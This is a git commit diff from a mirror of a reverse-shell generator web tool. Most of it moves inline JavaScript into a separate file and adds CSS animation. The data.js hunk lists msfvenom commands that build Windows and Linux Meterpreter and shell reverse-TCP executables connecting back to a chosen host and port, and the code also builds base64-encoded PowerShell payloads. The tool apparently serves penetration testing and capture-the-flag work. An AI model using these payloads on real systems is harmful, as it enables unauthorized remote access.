mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2024-12-18 10:56:10 +00:00
move js and small fixes
This commit is contained in:
parent
6ff23724df
commit
b029ff4a13
@ -15,7 +15,7 @@
|
||||
},
|
||||
{
|
||||
"login": "briskets",
|
||||
"name": "briskets",
|
||||
"name": "Chris Wild",
|
||||
"avatar_url": "https://avatars.githubusercontent.com/u/58673953?v=4",
|
||||
"profile": "https://briskets.io",
|
||||
"contributions": [
|
||||
|
@ -100,3 +100,34 @@ h2 {
|
||||
.list-group-item-action:hover {
|
||||
background-color: #375a7f;
|
||||
}
|
||||
.github-corner:hover .octo-arm {
|
||||
animation: octocat-wave 560ms ease-in-out
|
||||
}
|
||||
|
||||
@keyframes octocat-wave {
|
||||
|
||||
0%,
|
||||
100% {
|
||||
transform: rotate(0)
|
||||
}
|
||||
|
||||
20%,
|
||||
60% {
|
||||
transform: rotate(-25deg)
|
||||
}
|
||||
|
||||
40%,
|
||||
80% {
|
||||
transform: rotate(10deg)
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width:500px) {
|
||||
.github-corner:hover .octo-arm {
|
||||
animation: none
|
||||
}
|
||||
|
||||
.github-corner .octo-arm {
|
||||
animation: octocat-wave 560ms ease-in-out
|
||||
}
|
||||
}
|
||||
|
2
css/dark-mode.min.css
vendored
2
css/dark-mode.min.css
vendored
@ -1 +1 @@
|
||||
.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#426992;font-weight:700;font-size:1em}.highlighted-warning{color:red;font-weight:700}.custom-switch label{cursor:pointer;user-select:none}.nav-tabs{border-bottom:none!important}.nav-tabs .nav-link:hover{background-color:#375a7f}.nav-tabs .nav-link.active{background-color:#375a7f}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75)}#reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}#bind-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}#msfvenom-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}.custom-select{background-color:#646464;color:#fff}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,.75);height:100%!important}h2{color:#fff;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem}.list-group-item-action:focus,.list-group-item-action:hover,.list-group-item.active{background-color:#375a7f}
|
||||
.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#426992;font-weight:700;font-size:1em}.highlighted-warning{color:red;font-weight:700}.custom-switch label{cursor:pointer;user-select:none}.nav-tabs{border-bottom:none!important}.nav-tabs .nav-link:hover{background-color:#375a7f}.nav-tabs .nav-link.active{background-color:#375a7f}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75)}#reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}#bind-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}#msfvenom-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}.custom-select{background-color:#646464;color:#fff}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,.75);height:100%!important}h2{color:#fff;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem}.list-group-item-action:focus,.list-group-item-action:hover,.list-group-item.active{background-color:#375a7f}.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media (max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}}
|
@ -155,7 +155,7 @@ Ain't got time for using CSS the right way. !important everything!
|
||||
padding: 10px;
|
||||
border-radius: 20px;
|
||||
box-shadow: 10px 0px 20px 0px rgba(153, 28, 143, 0.75);
|
||||
max-height: 1000px;
|
||||
height: 100% !important;
|
||||
}
|
||||
|
||||
[data-theme="light"] .card-title {
|
||||
@ -323,3 +323,34 @@ Ain't got time for using CSS the right way. !important everything!
|
||||
color: orange;
|
||||
}
|
||||
}
|
||||
.github-corner:hover .octo-arm {
|
||||
animation: octocat-wave 560ms ease-in-out
|
||||
}
|
||||
|
||||
@keyframes octocat-wave {
|
||||
|
||||
0%,
|
||||
100% {
|
||||
transform: rotate(0)
|
||||
}
|
||||
|
||||
20%,
|
||||
60% {
|
||||
transform: rotate(-25deg)
|
||||
}
|
||||
|
||||
40%,
|
||||
80% {
|
||||
transform: rotate(10deg)
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width:500px) {
|
||||
.github-corner:hover .octo-arm {
|
||||
animation: none
|
||||
}
|
||||
|
||||
.github-corner .octo-arm {
|
||||
animation: octocat-wave 560ms ease-in-out
|
||||
}
|
||||
}
|
||||
|
2
css/light-mode.min.css
vendored
2
css/light-mode.min.css
vendored
@ -1 +1 @@
|
||||
[data-theme=light]{background-color:pink!important}[data-theme=light] .card{background-color:#af8bad!important;color:#000}[data-theme=light] .bg-white{background-color:#ddd7d7!important}[data-theme=light] .bg-dark{background-color:#e7d4e0!important}[data-theme=light] .rainbow{text-shadow:2px 2px 4px #000;font-size:40px;-webkit-animation:rainbow 5s infinite;-ms-animation:rainbow 5s infinite;animation:rainbow 5s infinite;font-family:'Comic Mono'}[data-theme=light] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme=light] .input-group-text{background-color:#f1c6ce;color:#000}[data-theme=light] .btn{background-color:#a56096;color:#000;border-color:#a56096}[data-theme=light] .highlighted-parameter{color:#7223b5;font-weight:700;font-size:1em}[data-theme=light] .highlighted-warning{color:red;font-weight:700}[data-theme=light] .custom-switch label{cursor:pointer;user-select:none}[data-theme=light] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme=light] #listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000}[data-theme=light] #reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] #bind-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] #msfvenom-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] .custom-select{background-color:#f1c6ce;color:#000;border-color:#a56096}[data-theme=light] .nav-link{color:#000;background:0 0;box-shadow:5px 5px 5px 0 rgba(153,28,143,.75)}[data-theme=light] .nav-link:hover{background-color:#7223b5}[data-theme=light] .nav-link.active{background-color:#a56096;color:#000}[data-theme=light] .custom-control-input:checked{color:#000}[data-theme=light] a{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item.active{background-color:#a56096;border-color:#000}[data-theme=light] .list-group-item:hover{background-color:#a56096}[data-theme=light] .list-group-item.hover{background-color:rgba(153,28,143,.75)}[data-theme=light] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(153,28,143,.75);max-height:1000px}[data-theme=light] .card-title{color:#000!important}[data-theme=light] .custom-control-label{color:#000}[data-theme=light] h2{color:#fff;text-align:center}[data-theme=light] .pre-wrap{white-space:pre-wrap}[data-theme=light] .card-body{max-height:40rem}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}@-webkit-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@-ms-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}
|
||||
[data-theme=light]{background-color:pink!important}[data-theme=light] .card{background-color:#af8bad!important;color:#000}[data-theme=light] .bg-white{background-color:#ddd7d7!important}[data-theme=light] .bg-dark{background-color:#e7d4e0!important}[data-theme=light] .rainbow{text-shadow:2px 2px 4px #000;font-size:40px;-webkit-animation:rainbow 5s infinite;-ms-animation:rainbow 5s infinite;animation:rainbow 5s infinite;font-family:'Comic Mono'}[data-theme=light] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme=light] .input-group-text{background-color:#f1c6ce;color:#000}[data-theme=light] .btn{background-color:#a56096;color:#000;border-color:#a56096}[data-theme=light] .highlighted-parameter{color:#7223b5;font-weight:700;font-size:1em}[data-theme=light] .highlighted-warning{color:red;font-weight:700}[data-theme=light] .custom-switch label{cursor:pointer;user-select:none}[data-theme=light] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme=light] #listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000}[data-theme=light] #reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] #bind-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] #msfvenom-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] .custom-select{background-color:#f1c6ce;color:#000;border-color:#a56096}[data-theme=light] .nav-link{color:#000;background:0 0;box-shadow:5px 5px 5px 0 rgba(153,28,143,.75)}[data-theme=light] .nav-link:hover{background-color:#7223b5}[data-theme=light] .nav-link.active{background-color:#a56096;color:#000}[data-theme=light] .custom-control-input:checked{color:#000}[data-theme=light] a{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item.active{background-color:#a56096;border-color:#000}[data-theme=light] .list-group-item:hover{background-color:#a56096}[data-theme=light] .list-group-item.hover{background-color:rgba(153,28,143,.75)}[data-theme=light] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(153,28,143,.75);height:100%!important}[data-theme=light] .card-title{color:#000!important}[data-theme=light] .custom-control-label{color:#000}[data-theme=light] h2{color:#fff;text-align:center}[data-theme=light] .pre-wrap{white-space:pre-wrap}[data-theme=light] .card-body{max-height:40rem}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}@-webkit-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@-ms-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media (max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}}
|
462
index.html
462
index.html
@ -42,37 +42,7 @@
|
||||
fill="currentColor" class="octo-body"></path>
|
||||
</svg></a>
|
||||
<style>
|
||||
.github-corner:hover .octo-arm {
|
||||
animation: octocat-wave 560ms ease-in-out
|
||||
}
|
||||
|
||||
@keyframes octocat-wave {
|
||||
|
||||
0%,
|
||||
100% {
|
||||
transform: rotate(0)
|
||||
}
|
||||
|
||||
20%,
|
||||
60% {
|
||||
transform: rotate(-25deg)
|
||||
}
|
||||
|
||||
40%,
|
||||
80% {
|
||||
transform: rotate(10deg)
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width:500px) {
|
||||
.github-corner:hover .octo-arm {
|
||||
animation: none
|
||||
}
|
||||
|
||||
.github-corner .octo-arm {
|
||||
animation: octocat-wave 560ms ease-in-out
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
@ -468,445 +438,19 @@
|
||||
</div>
|
||||
</div>
|
||||
<!-- /MSFVenom Tab -->
|
||||
|
||||
<script>
|
||||
$(function () {
|
||||
$('#myTab li:first-child a').tab('show')
|
||||
})
|
||||
</script>
|
||||
<!-- /NEW -->
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<!-- RSG data -->
|
||||
<script src="js/data.js"></script>
|
||||
|
||||
<!-- RSG raw link generator -->
|
||||
<script src="js/raw-link.js"></script>
|
||||
|
||||
<!-- RSG logic -->
|
||||
<script>
|
||||
// Element selectors
|
||||
const ipInput = document.querySelector("#ip");
|
||||
const portInput = document.querySelector("#port");
|
||||
const listenerSelect = document.querySelector("#listener-selection");
|
||||
const shellSelect = document.querySelector("#shell");
|
||||
// const autoCopySwitch = document.querySelector("#auto-copy-switch");
|
||||
const encodingSelect = document.querySelector('#encoding');
|
||||
const listenerCommand = document.querySelector("#listener-command");
|
||||
const reverseShellCommand = document.querySelector("#reverse-shell-command");
|
||||
const bindShellCommand = document.querySelector("#bind-shell-command");
|
||||
const msfVenomCommand = document.querySelector("#msfvenom-command");
|
||||
|
||||
const FilterType = {
|
||||
'All': 'all',
|
||||
'Windows': 'windows',
|
||||
'Linux': 'linux',
|
||||
'Mac': 'mac'
|
||||
};
|
||||
|
||||
document.querySelector("#os-options").addEventListener("change", (event) => {
|
||||
const selectedOS = event.target.value;
|
||||
rsg.setState({
|
||||
filter: selectedOS,
|
||||
});
|
||||
});
|
||||
|
||||
document.querySelector("#reverse-tab").addEventListener("click", () => {
|
||||
rsg.setState({
|
||||
commandType: CommandType.ReverseShell
|
||||
});
|
||||
})
|
||||
|
||||
document.querySelector("#bind-tab").addEventListener("click", () => {
|
||||
rsg.setState({
|
||||
commandType: CommandType.BindShell
|
||||
});
|
||||
})
|
||||
|
||||
document.querySelector("#bind-tab").addEventListener("click", () => {
|
||||
document.querySelector("#bind-shell-selection").innerHTML = "";
|
||||
rsg.setState({
|
||||
commandType: CommandType.BindShell
|
||||
});
|
||||
})
|
||||
|
||||
document.querySelector("#msfvenom-tab").addEventListener("click", () => {
|
||||
document.querySelector("#msfvenom-selection").innerHTML = "";
|
||||
rsg.setState({
|
||||
commandType: CommandType.MSFVenom
|
||||
});
|
||||
});
|
||||
|
||||
var rawLinkButtons = document.querySelectorAll('.raw-listener');
|
||||
for (const button of rawLinkButtons) {
|
||||
button.addEventListener("click", () => {
|
||||
const rawLink = RawLink.generate(rsg);
|
||||
window.location = rawLink;
|
||||
});
|
||||
}
|
||||
|
||||
const filterCommandData = function (data, { commandType, filter }) {
|
||||
return data.filter(item => {
|
||||
if (!item.meta.includes(commandType)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!filter) {
|
||||
return true;
|
||||
}
|
||||
|
||||
if (filter === FilterType.All) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return item.meta.includes(filter);
|
||||
});
|
||||
}
|
||||
|
||||
const rsg = {
|
||||
ip: localStorage.getItem('ip') || '10.10.10.10',
|
||||
port: localStorage.getItem('port') || 9001,
|
||||
shell: localStorage.getItem('shell') || rsgData.shells[0],
|
||||
listener: localStorage.getItem('listener') || rsgData.listenerCommands[0][1],
|
||||
encoding: localStorage.getItem('encoding') || 'None',
|
||||
selectedValues: {
|
||||
[CommandType.ReverseShell]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.ReverseShell })[0].name,
|
||||
[CommandType.BindShell]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.BindShell })[0].name,
|
||||
[CommandType.MSFVenom]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.MSFVenom })[0].name,
|
||||
},
|
||||
commandType: CommandType.ReverseShell,
|
||||
filter: FilterType.All,
|
||||
|
||||
uiElements: {
|
||||
[CommandType.ReverseShell]: {
|
||||
listSelection: '#reverse-shell-selection',
|
||||
command: '#reverse-shell-command'
|
||||
},
|
||||
[CommandType.BindShell]: {
|
||||
listSelection: '#bind-shell-selection',
|
||||
command: '#bind-shell-command',
|
||||
},
|
||||
[CommandType.MSFVenom]: {
|
||||
listSelection: '#msfvenom-selection',
|
||||
command: '#msfvenom-command'
|
||||
}
|
||||
},
|
||||
|
||||
copyToClipboard: (text) => {
|
||||
if (navigator ?.clipboard ?.writeText) {
|
||||
navigator.clipboard.writeText(text)
|
||||
$('#clipboard-toast').toast('show')
|
||||
} else if (window ?.clipboardData ?.setData) {
|
||||
window.clipboardData.setData('Text', text);
|
||||
$('#clipboard-toast').toast('show')
|
||||
} else {
|
||||
$('#clipboard-failure-toast').toast('show')
|
||||
}
|
||||
},
|
||||
|
||||
escapeHTML: (text) => String(text).replace(/</, '<').replace(/>/, '>'),
|
||||
|
||||
getIP: () => rsg.ip,
|
||||
|
||||
getPort: () => Number(rsg.port),
|
||||
|
||||
getShell: () => rsg.shell,
|
||||
|
||||
getEncoding: () => rsg.encoding,
|
||||
|
||||
getSelectedCommandName: () => {
|
||||
return rsg.selectedValues[rsg.commandType];
|
||||
},
|
||||
|
||||
getReverseShellCommand: () => {
|
||||
const reverseShellData = rsgData.reverseShellCommands.find((item) => item.name === rsg.getSelectedCommandName());
|
||||
return reverseShellData.command;
|
||||
},
|
||||
|
||||
generateReverseShellCommand: () => {
|
||||
let command
|
||||
|
||||
if (rsg.getSelectedCommandName() === 'PowerShell #3 (Base64)') {
|
||||
const encoder = (text) => text;
|
||||
const payload = rsg.insertParameters(rsgData.specialCommands['PowerShell payload'], encoder)
|
||||
command = "powershell -e " + btoa(payload)
|
||||
} else {
|
||||
command = rsg.getReverseShellCommand()
|
||||
}
|
||||
|
||||
const encoding = rsg.getEncoding();
|
||||
if (encoding === 'Base64') {
|
||||
command = btoa(command)
|
||||
} else {
|
||||
function encoder(string) {
|
||||
return (encoding === 'encodeURI' || encoding === 'encodeURIComponent') ? window[
|
||||
encoding](string) : string
|
||||
}
|
||||
|
||||
command = rsg.insertParameters(
|
||||
rsg.highlightParameters(
|
||||
encoder(command), encoder),
|
||||
encoder
|
||||
)
|
||||
}
|
||||
|
||||
return command;
|
||||
},
|
||||
|
||||
highlightParameters: (text, encoder) => {
|
||||
const parameters = ['{ip}', '{port}', '{shell}', encodeURI('{ip}'), encodeURI('{port}'),
|
||||
encodeURI('{shell}')
|
||||
];
|
||||
|
||||
parameters.forEach((param) => {
|
||||
if (encoder) param = encoder(param)
|
||||
text = text.replace(param, `<span class="highlighted-parameter">${param}</span>`)
|
||||
})
|
||||
return text
|
||||
},
|
||||
|
||||
init: () => {
|
||||
rsg.initListenerSelection()
|
||||
rsg.initShells()
|
||||
},
|
||||
|
||||
initListenerSelection: () => {
|
||||
rsgData.listenerCommands.forEach((listenerData, i) => {
|
||||
const type = listenerData[0];
|
||||
const command = listenerData[1];
|
||||
|
||||
const option = document.createElement("option");
|
||||
|
||||
option.value = command;
|
||||
option.selected = rsg.listener === option.value;
|
||||
option.classList.add("listener-option");
|
||||
option.innerText = type;
|
||||
|
||||
listenerSelect.appendChild(option);
|
||||
})
|
||||
},
|
||||
|
||||
initShells: () => {
|
||||
rsgData.shells.forEach((shell, i) => {
|
||||
const option = document.createElement("option");
|
||||
|
||||
option.selected = rsg.shell === shell;
|
||||
option.classList.add("shell-option");
|
||||
option.innerText = shell;
|
||||
|
||||
shellSelect.appendChild(option);
|
||||
})
|
||||
},
|
||||
|
||||
// Updates the rsg state, and forces a re-render
|
||||
setState: (newState = {}) => {
|
||||
Object.keys(newState).forEach((key) => {
|
||||
const value = newState[key];
|
||||
rsg[key] = value;
|
||||
localStorage.setItem(key, value)
|
||||
});
|
||||
Object.assign(rsg, newState);
|
||||
|
||||
rsg.update();
|
||||
},
|
||||
|
||||
insertParameters: (command, encoder) => {
|
||||
return command
|
||||
.replaceAll(encoder('{ip}'), rsg.escapeHTML(encoder(rsg.getIP())))
|
||||
.replaceAll(encoder('{port}'), encoder(String(rsg.getPort())))
|
||||
.replaceAll(encoder('{shell}'), encoder(rsg.getShell()))
|
||||
},
|
||||
|
||||
update: () => {
|
||||
rsg.updateListenerCommand()
|
||||
rsg.updateTabList()
|
||||
rsg.updateReverseShellCommand()
|
||||
rsg.updateValues()
|
||||
},
|
||||
|
||||
updateValues: () => {
|
||||
const listenerOptions = listenerSelect.querySelectorAll(".listener-option");
|
||||
listenerOptions.forEach((option) => {
|
||||
option.selected = rsg.listener === option.value;
|
||||
});
|
||||
|
||||
const shellOptions = shellSelect.querySelectorAll(".shell-option");
|
||||
shellOptions.forEach((option) => {
|
||||
option.selected = rsg.shell === option.value;
|
||||
});
|
||||
|
||||
const encodingOptions = encodingSelect.querySelectorAll("option");
|
||||
encodingOptions.forEach((option) => {
|
||||
option.selected = rsg.encoding === option.value;
|
||||
});
|
||||
|
||||
ipInput.value = rsg.ip;
|
||||
portInput.value = rsg.port;
|
||||
},
|
||||
|
||||
updateTabList: () => {
|
||||
const data = rsgData.reverseShellCommands;
|
||||
const filteredItems = filterCommandData(
|
||||
data,
|
||||
{
|
||||
filter: rsg.filter,
|
||||
commandType: rsg.commandType
|
||||
}
|
||||
);
|
||||
|
||||
const documentFragment = document.createDocumentFragment()
|
||||
filteredItems.forEach((item, index) => {
|
||||
const {
|
||||
name,
|
||||
command
|
||||
} = item;
|
||||
|
||||
const selectionButton = document.createElement("button");
|
||||
|
||||
if (rsg.getSelectedCommandName() === item.name) {
|
||||
selectionButton.classList.add("active");
|
||||
}
|
||||
|
||||
const clickEvent = () => {
|
||||
rsg.selectedValues[rsg.commandType] = name;
|
||||
rsg.update();
|
||||
|
||||
// if (document.querySelector('#auto-copy-switch').checked) {
|
||||
// rsg.copyToClipboard(reverseShellCommand.innerText)
|
||||
// }
|
||||
}
|
||||
|
||||
selectionButton.innerText = name;
|
||||
selectionButton.classList.add("list-group-item", "list-group-item-action");
|
||||
selectionButton.addEventListener("click", clickEvent);
|
||||
|
||||
documentFragment.appendChild(selectionButton);
|
||||
})
|
||||
|
||||
const listSelectionSelector = rsg.uiElements[rsg.commandType].listSelection;
|
||||
document.querySelector(listSelectionSelector).replaceChildren(documentFragment)
|
||||
},
|
||||
|
||||
updateListenerCommand: () => {
|
||||
const privilegeWarning = document.querySelector("#port-privileges-warning");
|
||||
let command = listenerSelect.value;
|
||||
command = rsg.highlightParameters(command)
|
||||
command = command.replace('{port}', rsg.getPort())
|
||||
|
||||
if (rsg.getPort() < 1024) {
|
||||
privilegeWarning.style.visibility = "visible";
|
||||
command = `<span class="highlighted-warning">sudo</span> ${command}`
|
||||
} else {
|
||||
privilegeWarning.style.visibility = "hidden";
|
||||
}
|
||||
|
||||
listenerCommand.innerHTML = command;
|
||||
},
|
||||
|
||||
updateReverseShellSelection: () => {
|
||||
document.querySelector(".list-group-item.active") ?.classList.remove("active");
|
||||
const elements = Array.from(document.querySelectorAll(".list-group-item"));
|
||||
const selectedElement = elements.find((item) => item.innerText === rsg.currentCommandName);
|
||||
selectedElement?.classList.add("active");
|
||||
},
|
||||
|
||||
updateReverseShellCommand: () => {
|
||||
const command = rsg.generateReverseShellCommand();
|
||||
const commandSelector = rsg.uiElements[rsg.commandType].command;
|
||||
document.querySelector(commandSelector).innerHTML = command;
|
||||
},
|
||||
|
||||
updateSwitchStates: () => {
|
||||
$('#listener-advanced').collapse($('#listener-advanced-switch').prop('checked') ? 'show' :
|
||||
'hide')
|
||||
$('#revshell-advanced').collapse($('#revshell-advanced-switch').prop('checked') ? 'show' :
|
||||
'hide')
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Init
|
||||
*/
|
||||
rsg.init();
|
||||
rsg.update();
|
||||
|
||||
/*
|
||||
* Event handlers/functions
|
||||
*/
|
||||
ipInput.addEventListener("input", (e) => {
|
||||
rsg.setState({
|
||||
ip: e.target.value
|
||||
})
|
||||
});
|
||||
|
||||
portInput.addEventListener("input", (e) => {
|
||||
rsg.setState({
|
||||
port: Number(e.target.value)
|
||||
})
|
||||
});
|
||||
|
||||
listenerSelect.addEventListener("change", (e) => {
|
||||
rsg.setState({
|
||||
listener: e.target.value
|
||||
})
|
||||
});
|
||||
|
||||
shellSelect.addEventListener("change", (e) => {
|
||||
rsg.setState({
|
||||
shell: e.target.value
|
||||
})
|
||||
});
|
||||
|
||||
encodingSelect.addEventListener("change", (e) => {
|
||||
rsg.setState({
|
||||
encoding: e.target.value
|
||||
})
|
||||
});
|
||||
|
||||
document.querySelector('#inc-port').addEventListener('click', () => {
|
||||
rsg.setState({
|
||||
port: rsg.getPort() + 1
|
||||
})
|
||||
})
|
||||
|
||||
document.querySelector('#listener-advanced-switch').addEventListener('change', rsg.updateSwitchStates);
|
||||
document.querySelector('#revshell-advanced-switch').addEventListener('change', rsg.updateSwitchStates);
|
||||
|
||||
setInterval(rsg.updateSwitchStates, 500) // fix switch changes in rapid succession
|
||||
|
||||
document.querySelector('#copy-listener').addEventListener('click', () => {
|
||||
rsg.copyToClipboard(listenerCommand.innerText)
|
||||
})
|
||||
|
||||
document.querySelector('#copy-reverse-shell-command').addEventListener('click', () => {
|
||||
rsg.copyToClipboard(reverseShellCommand.innerText)
|
||||
})
|
||||
|
||||
document.querySelector('#copy-bind-shell-command').addEventListener('click', () => {
|
||||
rsg.copyToClipboard(bindShellCommand.innerText)
|
||||
})
|
||||
|
||||
document.querySelector('#copy-msfvenom-command').addEventListener('click', () => {
|
||||
rsg.copyToClipboard(msfVenomCommand.innerText)
|
||||
})
|
||||
|
||||
// autoCopySwitch.addEventListener("change", () => {
|
||||
// setLocalStorage(autoCopySwitch, "auto-copy", "checked");
|
||||
// });
|
||||
|
||||
// Popper tooltips
|
||||
$(function () {
|
||||
$('[data-toggle="tooltip"]').tooltip()
|
||||
});
|
||||
|
||||
// TODO: add a random fifo for netcat mkfifo
|
||||
//let randomId = Math.random().toString(36).substring(2, 4);
|
||||
</script>
|
||||
|
||||
<!-- Light switch -->
|
||||
<script src="js/light-mode-switch.min.js"></script>
|
||||
|
||||
<!-- Main js -->
|
||||
<script src="js/script.js"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
|
69
js/data.js
69
js/data.js
@ -251,69 +251,98 @@ const msfvenomCommands = withCommandType(
|
||||
CommandType.MSFVenom,
|
||||
[
|
||||
{
|
||||
"name": "Windows Meterpreter Staged Reverse TCP",
|
||||
"command": "msfvenom -p windows/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f exe > reverse.exe",
|
||||
"name": "Windows Meterpreter Staged Reverse TCP (x64)",
|
||||
"command": "msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f exe -o reverse.exe",
|
||||
"meta": ["msfvenom", "windows", "staged", "meterpreter", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Windows Stageless Reverse TCP",
|
||||
"command": "msfvenom -p windows/shell_reverse_tcp LHOST={ip} LPORT={port} -f exe > reverse.exe",
|
||||
"name": "Windows Meterpreter Stageless Reverse TCP (x64)",
|
||||
"command": "msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST={ip} LPORT={port} -f exe -o reverse.exe",
|
||||
"meta": ["msfvenom", "windows", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Linux Meterpreter Staged Reverse TCP",
|
||||
"command": "msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f elf > reverse.elf",
|
||||
"name": "Windows Staged Reverse TCP (x64)",
|
||||
"command": "msfvenom -p windows/x64/reverse_tcp LHOST={ip} LPORT={port} -f exe -o reverse.exe",
|
||||
"meta": ["msfvenom", "windows", "staged", "meterpreter", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Windows Stageless Reverse TCP (x64)",
|
||||
"command": "msfvenom -p windows/x64/shell_reverse_tcp LHOST={ip} LPORT={port} -f exe -o reverse.exe",
|
||||
"meta": ["msfvenom", "windows", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Linux Meterpreter Staged Reverse TCP (x64)",
|
||||
"command": "msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f elf -o reverse.elf",
|
||||
"meta": ["msfvenom", "linux", "meterpreter", "staged", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Linux Stageless Reverse TCP",
|
||||
"command": "msfvenom -p linux/x86/shell_reverse_tcp LHOST={ip} LPORT={port} -f elf > reverse.elf",
|
